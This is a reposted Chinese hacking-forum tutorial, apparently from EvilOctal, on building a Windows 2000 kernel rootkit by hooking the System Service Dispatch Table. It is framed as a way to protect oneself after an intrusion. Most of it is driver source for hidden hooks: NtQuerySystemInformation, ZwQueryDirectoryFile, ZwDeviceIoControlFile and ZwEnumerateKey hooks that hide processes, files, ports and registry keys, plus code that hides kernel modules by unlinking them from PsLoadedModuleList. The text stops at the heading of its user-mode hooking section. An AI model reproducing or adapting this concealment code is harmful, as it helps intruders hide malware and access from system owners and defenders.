轉載學習 原始出處不詳了 因該是是邪惡八進制吧 不找了 呵呵
我們安全愛好者,都接觸過Rootkit,它對我們入侵后的保護提供了強大的支持。現今比較流行的Rootkit有Hxdef,NtRootkit和AFX Rootkit,而且Hxdef和AFX Rootkit還提供了源代碼,對我們的學習提供了很大的方便。這些Rootkit都是使用HOOK技術實現的,欺騙的是用戶,而不是操作系統。使用HOOK開發Rootkit是比較簡單的,雖然現在也有很多其他的技術,但門檻都太高,很多技術都需要硬編碼,對于我等菜鳥,實在是沒有這么高深的技術。而HOOK就不同了,它開發簡單,兼容性好,而且它幾乎是你在編程道路上的一項必學技術,因為太多地方需要HOOK了,使用HOOK開發Rootkit不過是其中的一個應用而已,也是學習HOOK的一項比較好的實踐機會。好了,進入正題,本文涉及的內容雖然不深,但也需要你有Windows編程以及驅動程序設計的基礎。另外,本文的所有內容均在Windows 2000 SP4下測試成功,如無特殊提示,所以內容都是以Windows 2000 SP4、Intel x86為平臺介紹的。
一、序言
針對本文開發的Rootkit,我們常常把它稱作Hook System Call、Sysem Service Call或System Service Dispatching,更正規的說法是Hook Windows系統服務調用,它是系統中的一個關鍵接口,提供了系統由用戶態切換到內核態的功能。我們知道,一般處理器可以提供從Ring0到Ring3四種處理器模式,其中必須提供2種,就是Ring0和Ring3。一些特殊的處理器指令只能在內核模式執行,一些高端內存也必須在內核模式下才能訪問(可以通過內存映射的方法解決,請參考其他文章,本文不做介紹)。Windows系統就是利用了這2個處理器模式,將系統的關鍵組件保護起來,只有在內核模式才可以訪問,并提供了一個上層接口,供用戶程序訪問,一切都是在MS的管理之下(悲哀啊!)。下面是Windowx體系結構的簡略圖。
[-------------------Windowx體系結構---------------------]
系統進程,服務進程,應用程序,環境子系統
應用程序編程接口(API)
基于NTDLL.DLL的本地系統服務
(用戶模式)
---------------------------------------------------------------
(內核模式)
系統服務調用(SSDT)
執行體(Executive)
系統內核,設備驅動(Kernel)
硬件抽象層(HAL)
二、Windows系統服務調用
1.機制
Windows 2000的陷阱調度(Trap Dispatching)機制包括了:中斷(Interrupt),延遲過程調用(Deferred Procedure Call),異步過程調用(Asynchronous Procedure Call),異常調度(Exception Dispatching)和系統服務調用(System Service Call)。在Intel x86平臺的Windows 2000使用int 0x2e指令進入Windows系統服務調用;Windows XP使用sysenter指令使系統陷入系統服務調用程序中;而AMD平臺的Windows XP系統使用syscall指令進入Windows系統服務調用。下面是Intel x86平臺的Windows 2000的系統服務調用模型。
mov eax, ServiceId
lea edx, ParameterTable
int 2eh
ret ParamTableBytes
其中ServiceId是傳遞給系統服務調用程序的ID號,內核使用這個ID號來查找系統服務調度表(System Service Dispath Table)中的對應系統服務信息。在系統服務調度表中,每一項都包含了一個指向具體的系統服務程序的指針,我們就是需要HOOK這個指針,使其指向我們自定義的代碼(稍后會詳述)。ParameterTable是傳遞的參數,系統服務調用程序KiSystemService函數會嚴格檢查傳遞的每一個參數,并將其參數從線程的用戶內存中復制到系統的內存中,以便內核可以訪問。執行的int指令會導致陷阱發生,所以Windows 2000內的中斷描述表(Interrupt Descriptor Table)中的0x2e指向了系統服務調用程序。最后的ParamTableBytes是返回的參數個數的信息。
其實,系統服務調用也是一個接口,是面向Windows內核的接口。它實現了將用戶模式下的請求轉發到內核模式下,并引發了處理器模式的切換。在用戶看來,系統服務調用就是與Windows內核通信的一個橋梁。
2.類型
在Windows 2000中默認存在兩個系統服務調度表,它們對應了兩類不同的系統服務。這兩個系統服務調度表分別是:KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe導出,后者由Win32k.sys導出。在系統中,有三個DLL是最重要的:Kernel32.dll、User32.dll和Gdi32.dll,這些DLL導出的函數,都是通過某種類型的中斷進入內核態,然后調用ntoskrnl.exe或Win32k.sys中的函數。函數KeAddSystemServiceTable允許Win32.sys和其他設備驅動程序添加系統服務表。除了Win32k.sys服務表外,使用KeAddSystemServiceTable添加的服務表會被同時復制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。
●注:由于本文的Rootkit只針對KeServiceDescriptorTable,KeServiceDescriptorTableShadow只會稍微提及一些,不會詳述。●
另外在提一下,NTDLL.DLL和ntoskrnl.exe的關系很“微妙”,用戶態和內核態的調用也是有分別的,比如:參數檢查。還有Native API導出了2套函數:Zw***和Nt***,要想徹底了解這些內容,推薦看Sunwear寫的《淺析本機API》,我們的論壇原創版有這篇文章
http://www.eviloctal.com/forum/index.php。
綜上所述,Kernel32.dll/Advapi32.dll進入NTDLL.DLL后,使用int 0x2e中斷進入內核,最后在ntoskrnl.exe中實現了真正的函數調用;User32.dll和Gdi32.dll則在Win32k.sys中實現了真正的函數調用。
三、HOOK系統服務
HOOK系統服務,首先需要定位系統服務調度表,這里需要一個未公開的ntoskrnl.exe導出單元KeServiceDescriptorTable,它對應一個簡單的數據結構,使用它完成對系統服務調度表的修改。
typedef struct servicetable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParamerterTableBase;
}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;
ServiceTableBase指向系統服務程序的地址,我們需要對它進行HOOK,使這個地址指向我們的代碼。ParamerterTableBase是參數列表的地址,它們都包含了NumberOfService這么多個單元。
我們先用SoftICE分析一下系統服務調度表。使用ntcall命令可以列出系統中的系統服務調度表,但不同的系統,不同的SP補丁,系統服務調度表肯定是不會相同的,因為MS隨時都會修改此表。Ntcall命令的輸出類似這樣:
000A 0008:8049860A params=06 NtAdjustPrivilegesToken
000A是它的序號,8049860A是其地址,params=06表示有6個參數,NtAdjustPrivilegesToken就是函數名了,對應的API是AdjustPrivilegesToken。Win32k.sys導出的系統服務調度表位于KeServiceDescriptorTable+50h處,ServiceID從1000h開始,其結構基本和ntoskrnl.exe一樣。我們具體看一下,由于SoftICE的輸出非常多,這里只節選一小部分。
:dd KeServiceDescriptorTable l 4*4
//如果要查看Win32k.sys,則使用dd KeServiceDescriptorTable+50 l 4*4
0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
……
8047F7E0為KeServiceDescriptorTable的地址,80471128為ServiceTableBase的地址,000000F8為NumberOfService,8047150C為ParamerterTableBase。
:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
……
80471128地址處為ServiceID=0的系統服務入口地址。在來看一下參數列表。
:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……
18 20 2C 2C,這里的18表示參數個數,即18h/4=6。根據上面的分析,我們只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范圍的數據就可以改變系統服務的執行流程;修改ServiceID就可以改變這一個系統服務的入口地址,我以ZwQuerySystemInformation為例說明一下。
:u ZwQuerySystemInformation
ntoskrnl!ZwQuerySystemInformation
0008:8042F288 MOV EAX, 00000097
0008:8042F280 LEA EDX, [ESP+04]
0008:8042F291 INT 2E
0008:8042F293 RET 0010
使用ZwQuerySystemInformation的線性地址+1,就可以定位ServiceID,即入口地址,將這個地址指向我們的函數,就大功告成了。首先需要將KeServiceDescriptorTable引入,這樣才能操作系統服務調度表。
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;
然后定義一個宏,參數是需要HOOK函數的線性地址。
#define SYSCALL(_Function)
KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]
將_Function+1即可確定ServiceID的位置,即在系統服務調度表中的入口地址。有了這個宏,就可以“自由”的將地址指向“任何”位置,我以ZwQuerySystemInformation為例進行演示。首先定義一個typedef函數指針,用于保存原ZwQuerySystemInformation的地址。
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
IN ULONG SystemInformationClass,
……);
聲明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定義HOOK函數。
NTSTATUS NewZwQuerySystemInformation (
……);
最后還差一個線性地址的函數,這個函數需要遵循DDK函數的調用約定,它什么工作都不做,只是幫助我們得到線性地址,進而在系統服務調度表中找到入口地址。
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
……);
萬事具備,只欠東風。使用SYSCALL宏保存原函數地址,然后指向新函數。
OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函數地址
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函數
_asm sti
還原的時候只需將OldZwQuerySystemInformation的地址指向ServiceTableBase即可。
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //還原
_asm sti
這樣就可以HOOK成功了。其實想想,不過是使用HOOK函數的線性地址確定在系統服務調度表中的入口地址,然后將這個入口地址指向新函數或舊函數,用SoftICE看看HOOK前后的系統服務調度表就明白了。
下面的內容就是具體開發了,包括隱藏進程,文件/目錄,端口,注冊表,內核模塊,服務/驅動,用戶,需要說一下的是,隱藏服務/驅動,用戶是用戶態的HOOK,在隱藏服務的章節中,我會介紹用戶態的HOOK,其他都是在內核下完成的。
四、隱藏進程
我們平常枚舉進程,都是使用HelpTool庫、Psapi庫中的函數,這些函數最終會調用ZwQuerySystemInformation函數,所以只要HOOK這個函數,就可以隱藏進程,使類似任務管理器這樣的工具不會發現隱藏的進程。HOOK的方法前邊已經說過,所以這里只給出HOOK后函數的處理代碼,很好理解。
首先說說ZwQuerySystemInformation函數,使用它可以查詢詳細的系統信息,信息類型多達54種,我們在用戶態使用的很多查詢系統信息的API,其實最終都是調用的它。在這54種查詢類型中,包含進程信息的有2個,一個是信息類型為5,另一個則為16,前者為系統的進程信息,后者為系統的句柄表,其中包含進程ID。這2個查詢信息的方法是不同的,所以要分別HOOK。下面是ZwQuerySystemInformation函數的原型。
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
IN ULONG SystemInformationClass, //獲取的系統信息類別
IN OUT PVOID SystemInformation, //返回的信息指針
IN ULONG SystemInforamtionLength, //長度
OUT PULONG ReturnLength OPTIONAL); //實際的緩沖區大小
如果SystemInformationClasss為5,那么SystemInformation會返回下面這個結構。
typedef struct system_porcess
{
ULONG NextEntryDelta; //進程偏移
ULONG ThreadCount; //線程數
ULONG Reserved1[6]; //保留
LARGE_INTEGER CreateTime; //進程創建時間
LARGE_INTEGER KernelTime; //內核占用時間
LARGE_INTEGER UserTime; //用戶占用時間
UNICODE_STRING ProcessName; //進程名
KPRIORITY BasePriority; //優先級
ULONG ProcessId; //進程ID
ULONG InheritedProcessId; //父進程ID
ULONG HandleCount; //句柄數
ULONG Reserved2[2]; //保留
VM_COUNTERS VmCounters; //VM信息
IO_COUNTERS IoCounters; //IO信息
SYSTEM_THREAD SystemThread[1]; //線程信息
}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;
如果SystemInformationClasss為16,則返回下面這個結構。
typedef struct system_handle_entry
{
ULONG ProcessId; //進程ID
UCHAR ObjectType; //句柄類型
UCHAR Flags; //標志
USHORT HandleValue; //句柄的數值
PVOID ObjectPointer; //句柄所指向的內核對象地址
ACCESS_MASK GrantedAccess; //訪問權限
}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;
typedef struct system_handle_info
{
ULONG Count; //系統句柄數
SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息
}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;
對于信息類5,我們需要改變NextEntryDelta結構成員,它是進程列表的偏移地址。比如第一個進程信息在SystemInformation+0處,那么第二個信息就在SystemInformation+第一個NextEntryDelta處,依次類推,最后一個進程信息的NextEntryDelta就為0了。也就是說,如果要隱藏第一個進程,就向前移動緩沖區,移動的長度是第一個進程信息結構的大小;如果要隱藏中間的進程,則多加一個NextEntryDelta,就可以覆蓋掉要隱藏的進程信息結構;如果要隱藏最后一個進程,將NextEntryDelta設置為0就可以了。
對于信息類16,就沒有什么偏移地址了,而是一個完整的緩沖區,我們要隱藏那個句柄,就向前移動SYSTEM_HANDLE_ENTRY結構的大小,覆蓋掉要隱藏的數據。
NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformationClass,
……)
{
......
//請求原函數
ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);
//SystemInformationClass==16 枚舉系統句柄表
if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
{
//指向句柄表緩沖區
lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
Num=lpSystemHandle->Count; //取得系統句柄數
for (n=0; n<Num; n++)
{
//比較句柄表中的進程ID
if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
{
//向前移動句柄表緩沖區
memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
Num--; //總數要--
n--;
}
}
}
//SystemInformationClass==5 枚舉系統進程
if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
{
//指向進程列表緩沖區
ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
while (ProcCurr)
{
RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
strlen(ProcNameAnsi.Buffer))==0)
{
//移動進程偏移NextEntryDelta
if (ProcPrev)
{
if (ProcCurr->NextEntryDelta)
ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
else
ProcPrev->NextEntryDelta=0;
}
else
{
if (ProcCurr->NextEntryDelta)
SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
SystemInformation=NULL;
}
}
ProcPrev=ProcCurr;
//下一進程
if (ProcCurr->NextEntryDelta)
ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
ProcCurr=NULL;
}
}
……
return ntStatus;
}
HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2個宏,分別為隱藏的進程ID和進程名。下面介紹隱藏文件/目錄。
五、隱藏文件/目錄
枚舉文件使用ZwQueryDirectoryFile函數,其原型如下:
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartQuery);
hFile為文件句柄,由ZwCrateFile或ZwOpenFile獲得,FileInfoClass是一個不斷變化的枚舉類型,但只有4個同文件/目錄有關。FileInformationBuffer是返回的信息指針。我們要隱藏文件/目錄,就要處理這4個不同的枚舉類型,它們的數值分別是:1、2、3和12,分別對應4個不同的結構,由于結構內容比較長,所以只介紹信息類為12的內容,其他可以在光盤中的FileInfo.txt中找到。信息類為12返回的結果如下:
typedef struct file_name_info {
ULONG NextEntryOffset; //文件偏移
ULONG Unknown; //下一文件索引
ULONG FileNameLength; //文件長度
WCHAR FileName[1]; //文件名
}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;
隱藏文件/目錄的方法和隱藏進程基本上一樣,如果沒有文件/目錄被找到,應該返回0x80000006。
NTSTATUS NewZwQueryDirectoryFile (
IN HANDLE hFile,
……)
{
......
//請求原函數
ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);
if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
{
//指向文件列表緩沖區
FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do {
LastOne=!(FileCurr->NextEntryOffset); //取偏移
FileNameLength=FileCurr->FileNameLength; //取長度
RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
(FileNameLength / 2))==0)
{
//最后一個文件
if (LastOne)
{
if (FileCurr==(LPFILE_NAMES_INFORMATION)
FileInformationBuffer)
ntStatus=0x80000006; //隱藏
else
FilePrev->NextEntryOffset=0;
}
else
{
//移動文件偏移
Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
Left=(DWORD)FileInformationBufferLength-Pos-
FileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
continue;
}
}
//下一文件
FilePrev=FileCurr;
FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
FileCurr+FileCurr->NextEntryOffset);
}while (!LastOne);
}
……
return ntStatus;
}
HIDDEN_SYSTEM_FILE同樣是宏,另外,文件長度是以Unicode統計的,一個字符占16位,而比較語句是以ANSI比較的,一個字符占8位,所以_strnicmp函數最后的比較大小是FileNameLength / 2,如果以Unicode比較,就不必除以2了。在來看看隱藏端口。
六、隱藏端口
枚舉端口使用iphlpapi.dll中的函數,而它們最終調用的是ZwDeviceIoControlFile函數,使用它發送一個特定的IRP獲取端口列表,所以只要HOOK了ZwDeviceIoControlFile函數,就可以隱藏端口。函數原型如下:
NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);
FileHandle為通信設備的句柄,可以使用ZwQueryObject函數獲得其具體信息,對于端口設備的,它的名字總是\Device\Tcp或\Device\Udp;IoControlCode為特定的I/O控制代碼,表示要查詢的信息。InputBuffer和OutputBuffer分別為輸入輸出緩沖。
查詢端口的I/O控制代碼有2個,分別為:0x210012和0x120003,它們所返回的結構、分辨TCP/UDP端口都是不同的,需要分別對待。在我的Windows 2000 SP4下,Netstat使用0x120003,而Fport卻使用0x210012。對于0x120003,返回的結構如下:
typedef struct tcpaddrentry //TCP
{
ULONG TcpState; //狀態
ULONG TcpLocalAddr; //本地地址
ULONG TcpLocalPort; //本地端口
ULONG TcpRemoteAddr; //遠程地址
ULONG TcpRemotePort; //遠程端口
}TCPADDRENTRY,*LPTCPADDRENTRY;
typedef struct udpaddrentry //UDP
{
ULONG UdpLocalAddr; //UDP只有本地地址
ULONG UdpLocalPort; //端口
}UDPADDRENTRY,*LPUDPADDRENTRY;
很熟悉吧,這正是iphlpapi.dll中的函數返回的結構。對于這2個結構,還可以擴展,則會增加一個進程ID,不過只適用XP/2003,結構就不帖了,可以在RootkitMain.h中查找到。使用這個I/O控制代碼進行端口查詢,FileHandle的名字總是\Device\Tcp,所以區別TCP和UDP的方法是檢查InputBuffer,包括判斷是否為擴展結構。
對于TCP查詢,輸入緩沖的特征是InputBuffer[0]為0x00,如果OutputBuffer中已經有了端口數據,則InputBuffer[17]為0x01,如果是擴展結構,則InputBuffer[16]為0x02。對于UDP查詢,InputBuffer[0]就為0x01了,InputBuffer[16]和InputBuffer[17]的值和TCP查詢是一樣的。我們使用這3個值來區分TCP/UDP端口和是否為擴展結構,OutputBuffer返回的是完整的端口列表緩沖區,使用IoStatusBlock取得端口的數量,隱藏某個端口,就向前移動緩沖區。對于0x210012,返回的結構如下:
typedef struct tdiconnectinfo
{
ULONG State;
ULONG Event;
ULONG TransmittedTsdus;
ULONG ReceivedTsdus;
ULONG TransmissionErrors;
ULONG ReceiveErrors;
LARGE_INTEGER Throughput;
LARGE_INTEGER Delay;
ULONG SendBufferSize;
ULONG ReceiveBufferSize;
BOOLEAN Unreliable;
}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;
使用這個I/O控制代碼進行端口查詢,FileHandle的名字是\Device\Tcp或\Device\Udp,所以分別TCP或UDP不需要輸入緩沖,而是使用ZwQueryObject函數獲取句柄的名字。OutputBuffer返回的是單獨的緩沖區,也就是說,一個端口返回一個,隱藏某個端口,就將返回值設置為STATUS_INVALID_ADDRESS即可。
NTSTATUS NewZwDeviceIoControlFile (
IN HANDLE FileHandle,
......)
{
......
//請求原函數
ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);
if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
{
//查詢句柄名稱 以便確定是TCP還是UDP
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
//指向端口列表緩沖區
lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
//TCP端口
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隱藏
}
//UDP端口
if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
strlen(UDP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隱藏
}
}
}
if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
{
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
//錯誤處理
if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP端口
{
if (InBuf[16]!=0x02) //非擴展結構
{
//獲取端口個數
Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;
for (n=0; n<Num; n++)
{
if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
HIDDEN_SYSTEM_PORT)
{
//向前移動端口列表緩沖區
memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
((Num-n-1) * sizeof (TCPADDRENTRY)));
Num--; //總數--
n--;
break;
}
}
//隱藏后端口總數
IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
......
}
}
……
}
}
}
return ntStatus;
}
0x120003查詢的UDP和處理擴展結構的代碼就不帖了,和處理TCP一樣,無非就是結構不同,隱藏都是memcpy移動緩沖。還有必須檢查InBuf[17]是否為0x01,否則指向的OutputBuffer就是NULL指針了。下面的內容是隱藏注冊表。
七、隱藏注冊表
枚舉注冊表鍵和鍵值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函數,它們所做的工作基本一樣,都是使用索引獲取鍵/鍵值,并返回一個緩沖區指針。ZwEnumerateKey函數原型如下,ZwEnumerateValueKey函數和它幾乎一樣,就不帖出來了。
NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
IN HANDLE KeyHandle, //句柄
IN ULONG Index, //請求的索引
IN KEY_INFORMATION_CLASS KeyInformationClass, //獲取的信息類型
OUT PVOID KeyInformation, //返回的緩沖區指針
IN ULONG Length, //長度
OUT PULONG ResultLength); //實際長度
DDK中公開了若干注冊表函數,所以這2個函數的結構,枚舉類型都已經定義好了,直接使用就可以了。KeyInformationClass一共4個值,可喜的是我們不必逐個處理,統一處理就可以了,因為只需要注冊表鍵/鍵值名和其長度,而返回的這4個結構中都包含這2個結構成員,所以才可以統一處理。這里我們使用KEY_BASIC_INFORMATION結構。
typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;
這里我們需要的東西是Name和它的長度NameLength。而對于ZwEnumerateValueKey函數,我們使用KEY_VALUE_BASIC_INFORMATION結構(和KEY_BASIC_INFORMATION幾乎一樣,所以請查詢DDK Documentation文檔)。
枚舉注冊表鍵/鍵值,是通過索引獲取的,這樣的話,我們隱藏了一個注冊表鍵/鍵值,那其后的所有索引都需要改變。這里就需要有一個標界,理所當然是利用KeyHandle的值,不同子鍵的句柄值是不同的。舉個例子,例如隱藏了KeyHandle為1下的某一個注冊表鍵,那么其后KeyHandle為1下的所有索引(注冊表鍵)都需要+1,而不是KeyHandle為1的就不需要加了。具體看一下代碼,這里仍以ZwEnumerateKey函數為例。
NTSTATUS NewZwEnumerateKey (
IN HANDLE KeyHandle,
......)
{
......
static HANDLE RegHandle=NULL;
static LONG RegIndex=0;
if (RegHandle==KeyHandle) //同一句柄
Index+=RegIndex; //加上隱藏的注冊表鍵個數
else
{
RegIndex=0; //否則重新賦值為0
RegHandle=NULL;
}
//請求原函數
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
if (NT_SUCCESS(ntStatus))
{
//指向注冊表鍵緩沖區
lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
(lpKeyBasic->NameLength / 2))==0)
{
RegHandle=KeyHandle; //取句柄值
RegIndex++; //隱藏個數
Index++; //索引加1
//再次請求 跳過隱藏的注冊表鍵
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
}
}
……
return ntStatus;
}
使用這種方法隱藏注冊表鍵/鍵值,發現有時不同子鍵的KeyHandle值也是相同的,這就造成了多隱藏數據。解決的辦法是HOOK了ZwOpenKey函數,使用ZwOpenKey函數的KeyHandle枚舉鍵/鍵值(使用ZwEnumerateKey和ZwEnumerateValueKey函數),并記錄下需要隱藏的索引,然后在ZwEnumerateKey或ZwEnumerateValueKey函數中Index參數進行比較,如果相等,就隱藏了(索引+1即可),這樣上面的問題就可以解決了。如果想要做的更隱蔽,像ZwQueryKey、ZwDeleteKey等函數都需要HOOK,我這里只是演示程序,沒寫這么詳細,這些內容就留給各位讀者自己實踐了(嘿嘿,這叫偷懶)。
八、隱藏內核模塊
所謂內核模塊,就是內核加載的驅動信息,DDK中的Drivers.exe可以枚舉出系統的內核模塊列表,它最終調用的是ZwQuerySystemInformation函數,信息類為11,表示獲取系統的內核模塊。如果要隱藏某個內核模塊,就像上邊介紹隱藏系統句柄一樣,memcpy移動緩沖區,所以這里介紹另一種隱藏方法:從PsLoadedModuleList鏈上摘除內核模塊。PsLoadedModuleList是系統中一個未公開的內核變量(LIST_ENTRY鏈表),保存著系統的內核模塊。使用這種方法隱藏的關鍵是找到PsLoadedModuleList的地址,好在前人已經給出了方法,用驅動程序對象+14h即可定位PsLoadedModuleList。我們首先需要定義一個結構(這個結構雖然不是完整的,但我可以保證它正常工作)。GetPsLoadedModuleList函數查找PsLoadedModuleList的地址,HideAmlName函數隱藏內核模塊,代碼如下:
typedef struct moduleentry
{
LIST_ENTRY ListEntry;
DWORD Unknown[4];
DWORD Base;
DWORD DriverStart;
DWORD Unknown1;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
}MODULE_ENTRY,*LPMODULE_ENTRY;
DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
......
if (DriverObject)
{
//驅動程序對象+14h處是PsLoadedModuleList地址
if ((lpModuleEntry=*((LPMODULE_ENTRY *)
((DWORD)DriverObject+0x14)))==NULL)
{
//錯誤處理
}
}
return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址
}
NTSTATUS HideAmlName (TCHAR *HideModule)
{
if (ModuleEntry)
CurrentModuleEntry=ModuleEntry;
else
return STATUS_UNSUCCESSFUL;
//這是雙向鏈表
while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
{
if ((CurrentModuleEntry->Unknown1!=0) &&
(CurrentModuleEntry->DriverPath.Length!=0))
{
RtlUnicodeStringToAnsiString(&DriverNameAnsi,
&CurrentModuleEntry->DriverName,TRUE);
if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
strlen(DriverNameAnsi.Buffer))==0)
{
*((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
(DWORD)CurrentModuleEntry->ListEntry.Flink;
CurrentModuleEntry->ListEntry.Flink->Blink=
CurrentModuleEntry->ListEntry.Blink;
break;
}
}
//向下移動
CurrentModuleEntry=(LPMODULE_ENTRY)
CurrentModuleEntry->ListEntry.Flink;
}
return STATUS_SUCCESS;
}
從PsLoadedModuleList鏈上摘除內核模塊后,ZwQuerySystemInformation函數就無法枚舉出它了。
九、用戶態HOOK
